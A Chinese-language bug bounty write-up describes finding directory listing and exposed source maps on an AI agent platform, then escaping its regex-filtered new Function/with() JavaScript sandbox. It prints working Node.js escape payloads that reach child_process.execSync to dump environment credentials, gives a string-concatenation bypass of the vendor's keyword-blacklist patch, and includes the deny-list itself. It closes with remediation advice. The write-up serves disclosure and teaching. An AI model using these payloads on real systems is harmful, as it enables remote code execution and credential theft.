本文仅用于网络安全研究学习,请勿用于非法用途。
在漏洞赏金实践中,聚焦于那些测试覆盖不足的应用或功能往往能取得更好成效。热门目标通常已被反复测试,发现新漏洞的几率相对较低。
一个有效的策略是,使用特定的Google搜索语法,并应用“过去一周”的时间筛选条件,以发现新近启动或更新的漏洞赏金计划:
("Bug Bounty Program" | ("Vulnerability" & "Reward")) -bugcrowd -hackerone -yeswehack -intigriti -immunefi
此查询能有效过滤主流漏洞赏金平台,帮助研究者找到鲜为人知的新目标。正是通过这一方法,我发现了一家近期刚推出漏洞赏金计划的AI初创公司。
在审查其Web应用时,我首先发现了一处部署配置错误,导致了目录遍历与列表。

遍历暴露的目录后,虽未立即发现敏感文件,但注意到了大量JavaScript源映射文件(.js.map)。源映射文件在开发阶段用于调试,能将压缩后的代码映射回原始源代码,包含变量名、函数甚至注释。
通过下载这些公开的.map文件,并使用sourcemapper等工具,可以完整地重建出原始的JavaScript/TypeScript源代码。

使用VS Code审查恢复的代码时,一个位于webpack:/_N_E/src/app/api/utils/utils.ts的文件引起了我的注意,其中包含一个名为sandboxedEval的函数。
[...]
function updateCodeNode(code: string) {
const regex = /\{\{(.*?)\}\}/g;
let updatedCode = `${code}`
.trim()
.replace(regex, (match, innerTemplate) => {
return `workflow.${innerTemplate}`;
})
.replaceAll('console.log', 'logFunc')
.replaceAll('console.error', 'errorFunc')
.replaceAll('console.warn', 'warnFunc');
return updatedCode;
}
export async function sandboxedEval(
workflow: Record<string, any>,
code: string,
input: Record<string, any> | null = null
): Promise<{ result: any; logs: Record<string, string>[] }> {
const logs: Record<string, string>[] = [];
[...]
const sanitizeCode = (code: string): string => {
const dangerousPatterns = [
/process\./g,
/require\(/g,
/import\s+/g,
/export\s+/g,
/eval\(/g,
/Function\(/g,
/document\./g,
/window\./g,
/global\./g,
];
let sanitizedCode = code;
dangerousPatterns.forEach((pattern) => {
if (pattern.test(sanitizedCode)) {
console.log('pattern found: ', pattern);
throw new Error('Cannot execute code with dangerous patterns');
}
sanitizedCode = sanitizedCode.replace(pattern, '/* blocked */');
});
return sanitizedCode;
};
try {
let sandbox: any = {
logFunc,
errorFunc,
warnFunc,
Math,
Date,
workflow: workflow,
output: null,
};
if (input) {
sandbox.input = input;
}
sanitizeCode(code);
const updatedCode = updateCodeNode(code) + '\nreturn null;';
const func = new Function(
'sandbox',
`with (sandbox) { return (async function() { ${updatedCode} })(); }`
);
const result = await func(sandbox);
return { result: sandbox.output ? sandbox.output : result, logs };
} catch (e: any) {
throw new Error(`Error in executing code: '${e.message}'`);
}
}
[...]
该函数的设计存在严重缺陷:它组合使用了new Function()和with()这两个高危结构,并依赖脆弱的基于正则表达式的过滤。这类模式极易遭受逃逸攻击、原型链污染或对象遍历攻击。
接下来需要确定:这段代码在哪里被使用?
深入分析应用功能后发现,这是一个AI智能体平台,内置可视化流程构建器。用户可以在构建工作流时嵌入自定义JavaScript代码,而平台正是使用上述“沙箱”函数来“安全”地执行这些代码。
漏洞利用链构建
至此,可以断定该沙箱实现并不安全,能够被绕过,最终在服务器端实现远程代码执行(RCE)。
利用思路如下:
- 获取全局对象:在非严格模式下,通过立即执行函数获取全局对象(Node.js中为
global)。
let g = (function () { return this })();
- 访问 require 函数:通过全局对象的构造函数链,获取
Function构造器,动态创建一个返回require函数的函数。
let r = g.constructor.constructor("return this['process']['mainModule']['require']")();
- 执行系统命令:利用获取到的
require函数导入child_process模块,调用execSync执行任意命令。
let o = r('child_process').execSync('env').toString();
logFunc(o);
将整合后的载荷插入到应用脚本编辑器中:
let g = (function () { return this })();
let r = g.constructor.constructor("return this['process']['mainModule']['require']")();
let o = r('child_process').execSync('env').toString();
logFunc(o);

执行成功后,输出包含了230多个环境变量,泄露了大量敏感凭证,包括AWS密钥、GitHub令牌、OpenAI API密钥、数据库连接字符串等:
AWS_ACCESS_KEY_ID=[REDACTED]
AWS_SECRET_ACCESS_KEY=[REDACTED]
GITHUB_ACCESS_TOKEN=ghp_[REDACTED]
OPENAI_API_KEY=sk-[REDACTED]
POSTGRES_URL=postgres://...[REDACTED]
...
这证实了攻击者可以在后端服务器上执行任意命令,实现了完整的远程代码执行(RCE)。
漏洞影响
- 完全远程命令执行:攻击者可控制后端服务器。
- 敏感信息全量泄露:环境变量中的各类云服务凭证、API密钥、数据库密码被直接获取。
- 攻击面横向扩展:利用初始立足点,可进一步渗透内网其他关联系统。
- 后续恶意行为:包括数据破坏、部署挖矿木马等恶意软件。
安全修复建议
- 配置层面:立即禁用生产环境的目录列表功能,确保
.js.map等源码映射文件不被公开访问。
- 架构层面:避免在应用进程内执行不可信的用户代码。如果必须提供此类功能,应考虑使用强化隔离的沙箱方案,例如
isolated-vm,或将代码执行任务调度到资源受限、网络隔离的独立Docker容器中运行。
- 代码层面:彻底弃用
new Function()、eval()及with()语句。基于正则表达式的黑名单过滤永远不是可靠的安全方案,应转变为白名单机制,或直接使用安全的沙箱库。
后续进展
我于2025年7月23日提交了报告(目录列表信息泄露 & 不安全的JS沙箱绕过导致RCE)。尽管厂商CTO迅速确认了漏洞的严重性并进行了修复,但最终漏洞评级被合并并降级为“中危”,仅获得200美元奖励。厂商后续解释将其归因于“第三方Java库的零日漏洞”,这与实际情况明显不符。
然而,故事并未结束。
在撰写本文后,我重新测试了该功能。发现他们所谓的“修复”仅仅是基于我提供的PoC,在过滤列表中添加了几个关键词黑名单:
const dangerousPatterns = [
/process\./g,
/require\(/g,
/eval\(/g,
/Function\(/g,
/child_process/g, // 新增
/mainModule/g, // 新增
/constructor\(/g, // 新增
/execSync\(/g, // 新增
];
这种“打补丁”式的修复完全无效。我只需对原有载荷进行简单的字符串拼接即可再次绕过:
let g = (function () { return this })();
let r = g['constructor']['constructor']("return this['process']['main'+'Module']['require']")();
let o = r('child_'+'process')['execSync']('id').toString();
output = o;

命令成功执行,输出了系统用户信息。这再次证明,对于动态语言执行环境的安全控制,尤其是涉及Node.js这类拥有强大系统访问能力的后端环境,简单的关键字过滤是完全徒劳的,必须从执行隔离的根源上解决问题。